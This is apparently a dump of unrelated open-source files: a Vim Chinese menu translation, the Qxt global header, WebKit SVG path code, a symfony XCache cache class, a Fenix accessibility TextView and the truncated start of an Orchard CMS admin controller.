&New<Tab>:enew\t\t新建(&N)<Tab>:enew\nmenutrans &Close<Tab>:close\t\t关闭(&C)<Tab>:close\nmenutrans &Save<Tab>:w\t\t\t保存(&S)<Tab>:w\nmenutrans Save\\ &As\\.\\.\\.<Tab>:sav\t另存为(&A)\\.\\.\\.<Tab>:sav\nmenutrans Split\\ &Diff\\ with\\.\\.\\.\t分割比较(Diff)(&D)\\.\\.\\.\nmenutrans Split\\ Patched\\ &By\\.\\.\\.\t分割打补丁(Patch)(&B)\\.\\.\\.\nmenutrans &Print\t\t\t打印(&P)\nmenutrans Sa&ve-Exit<Tab>:wqa\t\t保存并退出(&V)<Tab>:wqa\nmenutrans E&xit<Tab>:qa\t\t\t退出(&X)<Tab>:qa\n\n\" Edit menu\nmenutrans &Edit\t\t\t\t编辑(&E)\nmenutrans &Undo<Tab>u\t\t\t撤销(&U)<Tab>u\nmenutrans &Redo<Tab>^R\t\t\t重做(&R)<Tab>^R\nmenutrans Rep&eat<Tab>\\.\t\t重复上次操作(&E)<Tab>\\.\nmenutrans Cu&t<Tab>\"+x\t\t\t剪切(&T)<Tab>\"+x\nmenutrans &Copy<Tab>\"+y\t\t\t复制(&C)<Tab>\"+y\nmenutrans &Paste<Tab>\"+gP\t\t粘贴(&P)<Tab>\"+gP\nmenutrans Put\\ &Before<Tab>[p\t\t粘贴到光标前(&B)<Tab>[p\nmenutrans Put\\ &After<Tab>]p\t\t粘贴到光标后(&A)<Tab>]p\nmenutrans &Delete<Tab>x\t\t\t删除(&D)<Tab>x\nmenutrans &Select\\ All<Tab>ggVG\t\t全选(&S)<Tab>ggVG\nmenutrans &Find\\.\\.\\.\t\t\t查找(&F)\\.\\.\\.\nmenutrans Find\\ and\\ Rep&lace\\.\\.\\.\t查找和替换(&L)\\.\\.\\.\nmenutrans &Find<Tab>/\t\t\t查找(&F)<Tab>/\nmenutrans Find\\ and\\ Rep&lace<Tab>:%s\t查找和替换(&L)<Tab>:%s\nmenutrans Settings\\ &Window\t\t设定窗口(&W)\nmenutrans Startup\\ &Settings\t\t启动设定(&S)\nmenutrans &Global\\ Settings\t\t全局设定(&G)\n\n\" Edit/Global Settings\nmenutrans Toggle\\ Pattern\\ &Highlight<Tab>:set\\ hls!\t开/关模式高亮(&H)<Tab>:set\\ hls!\nmenutrans Toggle\\ &Ignore-case<Tab>:set\\ ic!\t\t开/关忽略大小写(&I)<Tab>:set\\ ic!\nmenutrans Toggle\\ &Showmatch<Tab>:set\\ sm!\t\t开/关显示配对(&S)<Tab>:set\\ sm!\nmenutrans &Context\\ lines\t\t\t上下文行数(&C)\n\nmenutrans &Virtual\\ Edit\t\t\t虚拟编辑(&V)\nmenutrans Never\t\t\t\t\t从不\nmenutrans Block\\ Selection\t\t\t块选择\nmenutrans Insert\\ mode\t\t\t\t插入模式\nmenutrans Block\\ and\\ Insert\t\t\t块选择和插入模式\nmenutrans Always\t\t\t\t总是\n\nmenutrans Toggle\\ Insert\\ &Mode<Tab>:set\\ im!\t开/关插入模式(&M)<Tab>:set\\ im!\nmenutrans Toggle\\ Vi\\ C&ompatible<Tab>:set\\ cp!\t开/关\\ Vi\\ 兼容<Tab>:set\\ cp!\nmenutrans Search\\ &Path\\.\\.\\.\t\t\t查找路径(&P)\\.\\.\\.\nmenutrans Ta&g\\ Files\\.\\.\\.\t\t\tTag\\ 文件(&T)\\.\\.\\.\n\n\" GUI options\nmenutrans Toggle\\ &Toolbar\t\t\t开/关工具栏(&T)\nmenutrans Toggle\\ &Bottom\\ Scrollbar\t\t开/关底部滚动条(&B)\nmenutrans Toggle\\ &Left\\ Scrollbar\t\t开/关左端滚动条(&L)\nmenutrans Toggle\\ &Right\\ Scrollbar\t\t开/关右端滚动条(&R)\n\n\" Edit/File Settings\nmenutrans F&ile\\ Settings\t\t\t文件设定(&I)\n\n\" Boolean options\nmenutrans Toggle\\ Line\\ &Numbering<Tab>:set\\ nu!\t\t开/关显示行号(&N)<Tab>:set\\ nu!\nmenutrans Toggle\\ relati&ve\\ Line\\ Numbering<Tab>:set\\ rnu!\t开/关相对行号(&V)<Tab>:set\\ rnu!\nmenutrans Toggle\\ &List\\ Mode<Tab>:set\\ list!\t\t\t开/关\\ list\\ 模式(&L)<Tab>:set\\ list!\nmenutrans Toggle\\ Line\\ &Wrap<Tab>:set\\ wrap!\t\t\t开/关折行(&W)<Tab>:set\\ wrap!\nmenutrans Toggle\\ W&rap\\ at\\ word<Tab>:set\\ lbr!\t\t开/关整词折行(&R)<Tab>:set\\ lbr!\nmenutrans Toggle\\ &expand-tab<Tab>:set\\ et!\t\t\t开/关扩展\\ tab(&E)<Tab>:set\\ et!\nmenutrans Toggle\\ &auto-indent<Tab>:set\\ ai!\t\t\t开/关自动缩进(&A)<Tab>:set\\ ai!\nmenutrans Toggle\\ &C-indenting<Tab>:set\\ cin!\t\t\t开/关\\ C\\ 缩进(&C)<Tab>:set\\ cin!\n\n\" other options\nmenutrans &Shiftwidth\t\t\t缩进宽度(&S)\nmenutrans Soft\\ &Tabstop\t\tSoft\\ Tab\\ 宽度(&T)\nmenutrans Te&xt\\ Width\\.\\.\\.\t\t文本宽度(&X)\\.\\.\\.\nmenutrans &File\\ Format\\.\\.\\.\t\t文件格式(&F)\\.\\.\\.\nmenutrans C&olor\\ Scheme\t\t配色方案(&O)\nmenutrans Select\\ Fo&nt\\.\\.\\.\t\t选择字体(&N)\\.\\.\\.\nmenutrans &Keymap\t\t\t键盘映射(&K)\n\n\" Programming menu\nmenutrans &Tools\t\t\t工具(&T)\nmenutrans &Jump\\ to\\ this\\ tag<Tab>g^]\t跳转到这个\\ tag(&J)<Tab>g^]\nmenutrans Jump\\ &back<Tab>^T\t\t跳转返回(&B)<Tab>^T\nmenutrans Build\\ &Tags\\ File\t\t建立\\ Tags\\ 文件(&T)\n\n\" Tools.Spelling Menu\nmenutrans &Spelling\t\t\t\t拼写检查(&S)\nmenutrans &Spell\\ Check\\ On\t\t\t打开拼写检查(&S)\nmenutrans Spell\\ Check\\ &Off\t\t\t关闭拼写检查(&O)\nmenutrans To\\ &Next\\ error<Tab>]s\t\t上一个错误(&N)<Tab>]s\nmenutrans To\\ &Previous\\ error<Tab>[s\t\t下一个错误(&P)<Tab>[s\nmenutrans Suggest\\ &Corrections<Tab>z=\t\t修正建议(&C)<Tab>z=\nmenutrans &Repeat\\ correction<Tab>:spellrepall\t重复修正(&R)<Tab>:spellrepall\nmenutrans Set\\ language\\ to\\ \"en\"\t\t设定语言为\\ \"en\"\nmenutrans Set\\ language\\ to\\ \"en_au\"\t\t设定语言为\\ \"en_au\"\nmenutrans Set\\ language\\ to\\ \"en_ca\"\t\t设定语言为\\ \"en_ca\"\nmenutrans Set\\ language\\ to\\ \"en_gb\"\t\t设定语言为\\ \"en_gb\"\nmenutrans Set\\ language\\ to\\ \"en_nz\"\t\t设定语言为\\ \"en_nz\"\nmenutrans Set\\ language\\ to\\ \"en_us\"\t\t设定语言为\\ \"en_us\"\nmenutrans &Find\\ More\\ Languages\t\t查找更多语言(&F)\n\n\" Tools.Fold Menu\n\" open close folds\nmenutrans &Folding\t\t\t\t折叠(&F)\nmenutrans &Enable/Disable\\ folds<Tab>zi\t\t启用/禁用折叠(&E)<Tab>zi\nmenutrans &View\\ Cursor\\ Line<Tab>zv\t\t查看此行(&V)<Tab>zv\nmenutrans Vie&w\\ Cursor\\ Line\\ only<Tab>zMzx\t仅查看此行(&W)<Tab>zMzx\nmenutrans C&lose\\ more\\ folds<Tab>zm\t\t关闭更多折叠(&L)<Tab>zm\nmenutrans &Close\\ all\\ folds<Tab>zM\t\t关闭所有折叠(&C)<Tab>zM\nmenutrans O&pen\\ more\\ folds<Tab>zr\t\t打开更多折叠(&P)<Tab>zr\nmenutrans &Open\\ all\\ folds<Tab>zR\t\t打开所有折叠(&O)<Tab>zR\n\" fold method\nmenutrans Fold\\ Met&hod\t\t\t折叠方法(&H)\nmenutrans M&anual\t\t\t手工(&A)\nmenutrans I&ndent\t\t\t缩进(&N)\nmenutrans E&xpression\t\t\t表达式(&X)\nmenutrans S&yntax\t\t\t语法(&Y)\nmenutrans &Diff\t\t\t\t比较(Diff)(&D)\nmenutrans Ma&rker\t\t\t标记(&R)\n\" create and delete folds\nmenutrans Create\\ &Fold<Tab>zf\t\t创建折叠(&F)<Tab>zf\nmenutrans &Delete\\ Fold<Tab>zd\t\t删除折叠(&D)<Tab>zd\nmenutrans Delete\\ &All\\ Folds<Tab>zD\t删除所有折叠(&A)<Tab>zD\n\" moving around in folds\nmenutrans Fold\\ column\\ &width\t\t折叠栏宽度(&W)\n\n\" Tools.Diff Menu\nmenutrans &Diff\t\t\t\t比较(Diff)(&D)\nmenutrans &Update\t\t\t更新(&U)\nmenutrans &Get\\ Block\t\t\t得到块(&G)\nmenutrans &Put\\ Block\t\t\t放置块(&P)\n\nmenutrans &Make<Tab>:make\t\tMake(&M)<Tab>:make\nmenutrans &List\\ Errors<Tab>:cl\t\t列出错误(&L)<Tab>:cl\nmenutrans L&ist\\ Messages<Tab>:cl!\t列出消息(&I)<Tab>:cl!\nmenutrans &Next\\ Error<Tab>:cn\t\t下一个错误(&N)<Tab>:cn\nmenutrans &Previous\\ Error<Tab>:cp\t上一个错误(&P)<Tab>:cp\nmenutrans &Older\\ List<Tab>:cold\t更旧的错误列表(&O)<Tab>:cold\nmenutrans N&ewer\\ List<Tab>:cnew\t更新的错误列表(&E)<Tab>:cnew\nmenutrans Error\\ &Window\t\t错误窗口(&W)\nmenutrans &Update<Tab>:cwin\t\t更新(&U)<Tab>:cwin\nmenutrans &Open<Tab>:copen\t\t打开(&O)<Tab>:copen\nmenutrans &Close<Tab>:cclose\t\t关闭(&C)<Tab>:cclose\nmenutrans &Convert\\ to\\ HEX<Tab>:%!xxd\t转换成十六进制<Tab>:%!xxd\nmenutrans Conve&rt\\ back<Tab>:%!xxd\\ -r\t转换返回<Tab>:%!xxd\\ -r\nmenutrans Se&T\\ Compiler\t\t设定编译器(&T)\n\n\" Names for buffer menu.\nmenutrans &Buffers\t\t缓冲区(&B)\nmenutrans &Refresh\\ menu\t更新菜单(&R)\nmenutrans &Delete\t\t删除(&D)\nmenutrans &Alternate\t\t交替(&A)\nmenutrans &Next\t\t\t下一个(&N)\nmenutrans &Previous\t\t上一个(&P)\n\n\" Window menu\nmenutrans &Window\t\t\t窗口(&W)\nmenutrans &New<Tab>^Wn\t\t\t新建(&N)<Tab>^Wn\nmenutrans S&plit<Tab>^Ws\t\t分割(&P)<Tab>^Ws\nmenutrans Sp&lit\\ To\\ #<Tab>^W^^\t分割到\\ #(&L)<Tab>^W^^\nmenutrans Split\\ &Vertically<Tab>^Wv\t垂直分割(&V)<Tab>^Wv\nmenutrans Split\\ File\\ E&xplorer\t分割文件浏览器(&X)\nmenutrans &Close<Tab>^Wc\t\t关闭(&C)<Tab>^Wc\nmenutrans Close\\ &Other(s)<Tab>^Wo\t关闭其它窗口(&O)<Tab>^Wo\nmenutrans Move\\ &To\t\t\t移动到(&T)\nmenutrans &Top<Tab>^WK\t\t\t顶端(&T)<Tab>^WK\nmenutrans &Bottom<Tab>^WJ\t\t底端(&B)<Tab>^WJ\nmenutrans &Left\\ side<Tab>^WH\t\t左边(&L)<Tab>^WH\nmenutrans &Right\\ side<Tab>^WL\t\t右边(&R)<Tab>^WL\n\" menutrans Ne&xt<Tab>^Ww\t\t下一个(&X)<Tab>^Ww\n\" menutrans P&revious<Tab>^WW\t\t上一个(&R)<Tab>^WW\nmenutrans Rotate\\ &Up<Tab>^WR\t\t向上轮换(&U)<Tab>^WR\nmenutrans Rotate\\ &Down<Tab>^Wr\t\t向下轮换(&D)<Tab>^Wr\nmenutrans &Equal\\ Size<Tab>^W=\t\t等大(&E)<Tab>^W=\nmenutrans &Max\\ Height<Tab>^W_\t\t最大高度(&M)<Tab>^W\nmenutrans M&in\\ Height<Tab>^W1_\t\t最小高度(&I)<Tab>^W1_\nmenutrans Max\\ &Width<Tab>^W\\|\t\t最大宽度(&W)<Tab>^W\\|\nmenutrans Min\\ Widt&h<Tab>^W1\\|\t\t最小宽度(&H)<Tab>^W1\\|\n\"\n\" The popup menu\nmenutrans &Undo\t\t\t撤销(&U)\nmenutrans Cu&t\t\t\t剪切(&T)\nmenutrans &Copy\t\t\t复制(&C)\nmenutrans &Paste\t\t粘贴(&P)\nmenutrans &Delete\t\t删除(&D)\nmenutrans Select\\ Blockwise\t选择块\nmenutrans Select\\ &Word\t\t选择单词(&W)\nmenutrans Select\\ &Sentence\t选择句子(&S)\nmenutrans Select\\ Pa&ragraph\t选择段落(&R)\nmenutrans Select\\ &Line\t\t选择行(&L)\nmenutrans Select\\ &Block\t选择块(&B)\nmenutrans Select\\ &All\t\t全选(&A)\n\"\n\" The GUI toolbar\nif has(\"toolbar\")\n if exists(\"*Do_toolbar_tmenu\")\n delfun Do_toolbar_tmenu\n endif\n fun Do_toolbar_tmenu()\n tmenu ToolBar.Open\t\t打开文件\n tmenu ToolBar.Save\t\t保存当前文件\n tmenu ToolBar.SaveAll\t保存全部文件\n tmenu ToolBar.Print\t\t打印\n tmenu ToolBar.Undo\t\t撤销\n tmenu ToolBar.Redo\t\t重做\n tmenu ToolBar.Cut\t\t剪切到剪贴板\n tmenu ToolBar.Copy\t\t复制到剪贴板\n tmenu ToolBar.Paste\t\t从剪贴板粘贴\n tmenu ToolBar.Find\t\t查找...\n tmenu ToolBar.FindNext\t查找下一个\n tmenu ToolBar.FindPrev\t查找上一个\n tmenu ToolBar.Replace\t查找和替换...\n tmenu ToolBar.LoadSesn\t加载会话\n tmenu ToolBar.SaveSesn\t保存当前会话\n tmenu ToolBar.RunScript\t运行 Vim 脚本\n tmenu ToolBar.Make\t\t执行 Make (:make)\n tmenu ToolBar.RunCtags\t在当前目录建立 tags (!ctags -R .)\n tmenu ToolBar.TagJump\t跳转到光标位置的 tag\n tmenu ToolBar.Help\t\tVim 帮助\n tmenu ToolBar.FindHelp\t查找 Vim 帮助\n endfun\nendif\n\n\" Syntax menu\nmenutrans &Syntax\t\t\t语法(&S)\nmenutrans &Show\\ filetypes\\ in\\ menu\t在菜单中显示文件类型(&S)\nmenutrans &Off\t\t\t\t关闭(&O)\nmenutrans &Manual\t\t\t手工(&M)\nmenutrans A&utomatic\t\t\t自动(&U)\nmenutrans on/off\\ for\\ &This\\ file\t仅对这个文件开/关(&T)\nmenutrans Co&lor\\ test\t\t\t色彩测试(&L)\nmenutrans &Highlight\\ test\t\t高亮测试(&H)\nmenutrans &Convert\\ to\\ HTML\t\t转换成\\ HTML(&C)\nmenutrans Set\\ '&syntax'\\ only\t\t仅设定\\ 'syntax'(&S)\nmenutrans Set\\ '&filetype'\\ too\t\t也设定\\ 'filetype'(&F)\n\nlet &cpo = s:keepcpo\nunlet s:keepcpo\n"} {"text": "/****************************************************************************\n **\n ** Copyright (C) Qxt Foundation. Some rights reserved.\n **\n ** This file is part of the QxtCore module of the Qxt library.\n **\n ** This library is free software; you can redistribute it and/or modify it\n ** under the terms of the Common Public License, version 1.0, as published\n ** by IBM, and/or under the terms of the GNU Lesser General Public License,\n ** version 2.1, as published by the Free Software Foundation.\n **\n ** This file is provided \"AS IS\", without WARRANTIES OR CONDITIONS OF ANY\n ** KIND, EITHER EXPRESS OR IMPLIED INCLUDING, WITHOUT LIMITATION, ANY\n ** WARRANTIES OR CONDITIONS OF TITLE, NON-INFRINGEMENT, MERCHANTABILITY OR\n ** FITNESS FOR A PARTICULAR PURPOSE.\n **\n ** You should have received a copy of the CPL and the LGPL along with this\n ** file. See the LICENSE file and the cpl1.0.txt/lgpl-2.1.txt files\n ** included with the source distribution for more information.\n ** If you did not receive a copy of the licenses, contact the Qxt Foundation.\n **\n ** <http://libqxt.org> <foundation@libqxt.org>\n **\n ****************************************************************************/\n\n#ifndef QXTGLOBAL_H\n#define QXTGLOBAL_H\n\n#include <QtGlobal>\n\n#define QXT_VERSION 0x000600\n#define QXT_VERSION_STR \"0.6.0\"\n\n//--------------------------global macros------------------------------\n\n#ifndef QXT_NO_MACROS\n\n#endif // QXT_NO_MACROS\n\n//--------------------------export macros------------------------------\n\n#define QXT_DLLEXPORT DO_NOT_USE_THIS_ANYMORE\n\n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_CORE)\n# define QXT_CORE_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_CORE_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_CORE_EXPORT\n#endif // BUILD_QXT_CORE\n \n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_GUI)\n# define QXT_GUI_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_GUI_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_GUI_EXPORT\n#endif // BUILD_QXT_GUI\n \n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_NETWORK)\n# define QXT_NETWORK_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_NETWORK_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_NETWORK_EXPORT\n#endif // BUILD_QXT_NETWORK\n \n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_SQL)\n# define QXT_SQL_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_SQL_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_SQL_EXPORT\n#endif // BUILD_QXT_SQL\n \n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_WEB)\n# define QXT_WEB_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_WEB_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_WEB_EXPORT\n#endif // BUILD_QXT_WEB\n \n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_BERKELEY)\n# define QXT_BERKELEY_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_BERKELEY_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_BERKELEY_EXPORT\n#endif // BUILD_QXT_BERKELEY\n\n#if !defined(QXT_STATIC)\n# if defined(BUILD_QXT_ZEROCONF)\n# define QXT_ZEROCONF_EXPORT Q_DECL_EXPORT\n# else\n# define QXT_ZEROCONF_EXPORT Q_DECL_IMPORT\n# endif\n#else\n# define QXT_ZEROCONF_EXPORT\n#endif // QXT_ZEROCONF_EXPORT\n\n#if defined BUILD_QXT_CORE || defined BUILD_QXT_GUI || defined BUILD_QXT_SQL || defined BUILD_QXT_NETWORK || defined BUILD_QXT_WEB || defined BUILD_QXT_BERKELEY || defined BUILD_QXT_ZEROCONF\n# define BUILD_QXT\n#endif\n\n#ifndef QT_BEGIN_NAMESPACE\n#define QT_BEGIN_NAMESPACE\n#endif\n\n#ifndef QT_END_NAMESPACE\n#define QT_END_NAMESPACE\n#endif\n\n#ifndef QT_FORWARD_DECLARE_CLASS\n#define QT_FORWARD_DECLARE_CLASS(Class) class Class;\n#endif\n\n/****************************************************************************\n** This file is derived from code bearing the following notice:\n** The sole author of this file, Adam Higerd, has explicitly disclaimed all\n** copyright interest and protection for the content within. This file has\n** been placed in the public domain according to United States copyright\n** statute and case law. In jurisdictions where this public domain dedication\n** is not legally recognized, anyone who receives a copy of this file is\n** permitted to use, modify, duplicate, and redistribute this file, in whole\n** or in part, with no restrictions or conditions. In these jurisdictions,\n** this file shall be copyright (C) 2006-2008 by Adam Higerd.\n****************************************************************************/\n\n#define QXT_DECLARE_PRIVATE(PUB) friend class PUB##Private; QxtPrivateInterface<PUB, PUB##Private> qxt_d;\n#define QXT_DECLARE_PUBLIC(PUB) friend class PUB;\n#define QXT_INIT_PRIVATE(PUB) qxt_d.setPublic(this);\n#define QXT_D(PUB) PUB##Private& d = qxt_d()\n#define QXT_P(PUB) PUB& p = qxt_p()\n\ntemplate <typename PUB>\nclass QxtPrivate\n{\npublic:\n virtual ~QxtPrivate() = default;\n inline void QXT_setPublic(PUB* pub)\n {\n qxt_p_ptr = pub;\n }\n\nprotected:\n inline PUB& qxt_p()\n {\n return *qxt_p_ptr;\n }\n inline const PUB& qxt_p() const\n {\n return *qxt_p_ptr;\n }\n\nprivate:\n PUB* qxt_p_ptr;\n};\n\ntemplate <typename PUB, typename PVT>\nclass QxtPrivateInterface\n{\n friend class QxtPrivate<PUB>;\npublic:\n QxtPrivateInterface()\n {\n pvt = new PVT;\n }\n ~QxtPrivateInterface()\n {\n delete pvt;\n }\n\n inline void setPublic(PUB* pub)\n {\n pvt->QXT_setPublic(pub);\n }\n inline PVT& operator()()\n {\n return *static_cast<PVT*>(pvt);\n }\n inline const PVT& operator()() const\n {\n return *static_cast<PVT*>(pvt);\n }\nprivate:\n QxtPrivateInterface(const QxtPrivateInterface&) { }\n QxtPrivateInterface& operator=(const QxtPrivateInterface&) { }\n QxtPrivate<PUB>* pvt;\n};\n\n#endif // QXT_GLOBAL\n"} {"text": "/*\n * Copyright (C) 2004, 2005, 2006, 2007, 2008 Nikolas Zimmermann <zimmermann@kde.org>\n * Copyright (C) 2004, 2005 Rob Buis <buis@kde.org>\n * Copyright (C) 2007 Eric Seidel <eric@webkit.org>\n * Copyright (C) Research In Motion Limited 2010. All rights reserved.\n *\n * This library is free software; you can redistribute it and/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public License\n * along with this library; see the file COPYING.LIB. If not, write to\n * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301, USA.\n */\n\n#include \"config.h\"\n#include \"SVGPathSegList.h\"\n\n#include \"SVGNames.h\"\n#include \"SVGPathElement.h\"\n#include \"SVGPathUtilities.h\"\n\nnamespace WebCore {\n\nString SVGPathSegList::valueAsString() const\n{\n String pathString;\n buildStringFromSVGPathSegList(*this, pathString, UnalteredParsing);\n return pathString;\n}\n\nvoid SVGPathSegList::commitChange(SVGElement* contextElement, ListModification listModification)\n{\n ASSERT(contextElement);\n downcast<SVGPathElement>(contextElement)->pathSegListChanged(m_role, listModification);\n}\n\n}\n"} {"text": "<?php\n\n/*\n * This file is part of the symfony package.\n * (c) 2004-2006 Fabien Potencier <fabien.potencier@symfony-project.com>\n *\n * For the full copyright and license information, please view the LICENSE\n * file that was distributed with this source code.\n */\n\n/**\n * Cache class that stores cached content in XCache.\n *\n * @package symfony\n * @subpackage cache\n * @author Fabien Potencier <fabien.potencier@symfony-project.com>\n * @version SVN: $Id$\n */\nclass sfXCacheCache extends sfCache\n{\n /**\n * Initializes this sfCache instance.\n *\n * Available options:\n *\n * * see sfCache for options available for all drivers\n *\n * @see sfCache\n */\n public function initialize($options = array())\n {\n parent::initialize($options);\n\n if (!function_exists('xcache_set'))\n {\n throw new sfInitializationException('You must have XCache installed and enabled to use sfXCacheCache class.');\n }\n\n if (!ini_get('xcache.var_size'))\n {\n throw new sfInitializationException('You must set the \"xcache.var_size\" variable to a value greater than 0 to use sfXCacheCache class.');\n }\n }\n\n /**\n * @see sfCache\n */\n public function get($key, $default = null)\n {\n \n $set = $this->getBaseValue($key);\n \n if (!is_array($set) || !array_key_exists('data', $set))\n {\n \n return $default;\n }\n \n return $set['data'];\n }\n\n /**\n * @see sfCache\n */\n public function has($key)\n {\n return xcache_isset($this->getOption('prefix').$key);\n }\n\n /**\n * @see sfCache\n */\n public function set($key, $data, $lifetime = null)\n {\n $lifetime = $this->getLifetime($lifetime);\n\n $set = array(\n 'timeout' => time() + $lifetime,\n 'data' => $data,\n 'ctime' => time()\n );\n \n return xcache_set($this->getOption('prefix').$key, $set, $lifetime);\n }\n\n /**\n * @see sfCache\n */\n public function remove($key)\n {\n return xcache_unset($this->getOption('prefix').$key);\n }\n\n /**\n * @see sfCache\n */\n public function clean($mode = sfCache::ALL)\n {\n if ($mode !== sfCache::ALL)\n {\n return true;\n }\n\n $this->checkAuth();\n\n for ($i = 0, $max = xcache_count(XC_TYPE_VAR); $i < $max; $i++)\n {\n if (false === xcache_clear_cache(XC_TYPE_VAR, $i))\n {\n return false;\n }\n }\n\n return true;\n }\n\n /**\n * @see sfCache\n */\n public function getLastModified($key)\n {\n $set = $this->getBaseValue($key);\n \n if (!is_array($set) || !array_key_exists('ctime', $set))\n {\n \n return 0;\n }\n \n return $set['ctime'];\n }\n\n /**\n * @see sfCache\n */\n public function getTimeout($key)\n {\n \n $set = $this->getBaseValue($key);\n \n if (!is_array($set) || !array_key_exists('timeout', $set))\n {\n \n return 0;\n }\n \n return $set['timeout'];\n }\n \n public function getBaseValue($key)\n {\n return xcache_isset($this->getOption('prefix').$key) ? xcache_get($this->getOption('prefix').$key) : null;\n }\n \n /**\n * @see sfCache\n */\n public function removePattern($pattern)\n {\n $this->checkAuth();\n\n $regexp = self::patternToRegexp($this->getOption('prefix').$pattern);\n\n for ($i = 0, $max = xcache_count(XC_TYPE_VAR); $i < $max; $i++)\n {\n $infos = xcache_list(XC_TYPE_VAR, $i);\n if (!is_array($infos['cache_list']))\n {\n return;\n }\n\n foreach ($infos['cache_list'] as $info)\n {\n if (preg_match($regexp, $info['name']))\n {\n xcache_unset($info['name']);\n }\n }\n }\n }\n\n public function getCacheInfo($key)\n {\n $this->checkAuth();\n\n for ($i = 0, $max = xcache_count(XC_TYPE_VAR); $i < $max; $i++)\n {\n $infos = xcache_list(XC_TYPE_VAR, $i);\n\n if (is_array($infos['cache_list']))\n {\n foreach ($infos['cache_list'] as $info)\n {\n if ($this->getOption('prefix').$key == $info['name'])\n {\n return $info;\n }\n }\n }\n }\n\n return null;\n }\n\n protected function checkAuth()\n {\n if (ini_get('xcache.admin.enable_auth'))\n {\n throw new sfConfigurationException('To use all features of the \"sfXCacheCache\" class, you must set \"xcache.admin.enable_auth\" to \"Off\" in your php.ini.');\n }\n }\n}\n"} {"text": "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\npackage org.mozilla.fenix.utils\n\nimport android.content.Context\nimport android.util.AttributeSet\nimport android.view.accessibility.AccessibilityNodeInfo\nimport android.view.accessibility.AccessibilityNodeInfo.AccessibilityAction.ACTION_LONG_CLICK\nimport androidx.appcompat.widget.AppCompatTextView\nimport org.mozilla.fenix.R\n\n/**\n * An [AppCompatTextView] that announces as link in screen readers for a11y purposes\n */\nclass LinkTextView @JvmOverloads constructor(\n context: Context,\n attrs: AttributeSet? = null,\n defStyleAttr: Int = 0\n) : AppCompatTextView(context, attrs, defStyleAttr) {\n\n override fun onInitializeAccessibilityNodeInfo(info: AccessibilityNodeInfo?) {\n super.onInitializeAccessibilityNodeInfo(info)\n val extras = info?.extras\n extras?.putCharSequence(\n \"AccessibilityNodeInfo.roleDescription\",\n context.resources.getString(R.string.link_text_view_type_announcement)\n )\n // disable long click announcement, as there is no action to be performed on long click\n info?.isLongClickable = false\n info?.removeAction(ACTION_LONG_CLICK)\n }\n}\n"} {"text": "using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Web.Mvc;\nusing Orchard.ContentManagement;\nusing Orchard.ContentManagement.MetaData;\nusing Orchard.ContentManagement.MetaData.Models;\nusing Orchard.ContentTypes.Extensions;\nusing Orchard.ContentTypes.Services;\nusing Orchard.ContentTypes.Settings;\nusing Orchard.ContentTypes.ViewModels;\nusing Orchard.Core.Contents.Settings;\nusing Orchard.Environment.Configuration;\nusing Orchard.Localization;\nusing Orchard.Logging;\nusing Orchard.Mvc;\nusing Orchard.UI;\nusing Orchard.UI.Notify;\nusing Orchard.Utility.Extensions;\n\nnamespace Orchard.ContentTypes.Controllers {\n [ValidateInput(false)]\n public class AdminController : Controller, IUpdateModel {\n private readonly IContentDefinitionService _contentDefinitionService;\n private readonly IContentDefinitionManager _contentDefinitionManager;\n private readonly IPlacementService _placementService;\n private readonly Lazy<IEnumerable<IShellSettingsManagerEventHandler>> _settingsManagerEventHandlers;\n private readonly ShellSettings _settings;\n\n public AdminController(\n IOrchardServices orchardServices,\n IContentDefinitionService contentDefinitionService,\n IContentDefinitionManager contentDefinitionManager,\n IPlacementService placementService,\n Lazy<IEnumerable<IShellSettingsManagerEventHandler>> settingsManagerEventHandlers,\n ShellSettings settings) {\n Services = orchardServices;\n _contentDefinitionService = contentDefinitionService;\n _contentDefinitionManager = contentDefinitionManager;\n _placementService = placementService;\n _settingsManagerEventHandlers = settingsManagerEventHandlers;\n _settings = settings;\n\n T = NullLocalizer.Instance;\n }\n\n public IOrchardServices Services { get; private set; }\n public Localizer T { get; set; }\n public ILogger Logger { get; set; }\n public ActionResult Index() { return List(); }\n\n #region Types\n\n public ActionResult List() {\n if (!Services.Authorizer.Authorize(Permissions.ViewContentTypes, T(\"Not allowed to view content types.\")))\n return new HttpUnauthorizedResult();\n\n return View(\"List\", new ListContentTypesViewModel {\n Types = _contentDefinitionService.GetTypes()\n });\n }\n\n public ActionResult Create(string suggestion) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to create a content type.\")))\n return new HttpUnauthorizedResult();\n\n return View(new CreateTypeViewModel { DisplayName = suggestion?.Trim(), Name = suggestion?.ToSafeName() });\n }\n\n [HttpPost, ActionName(\"Create\")]\n public ActionResult CreatePOST(CreateTypeViewModel viewModel) {\n if (!Services.Authorizer.Authorize(Permissions.EditContentTypes, T(\"Not allowed to create a content type.\")))\n return new HttpUnauthorizedResult();\n\n\n ValidateDisplayName(viewModel.DisplayName);\n\n // Additional Display Name validation.\n if 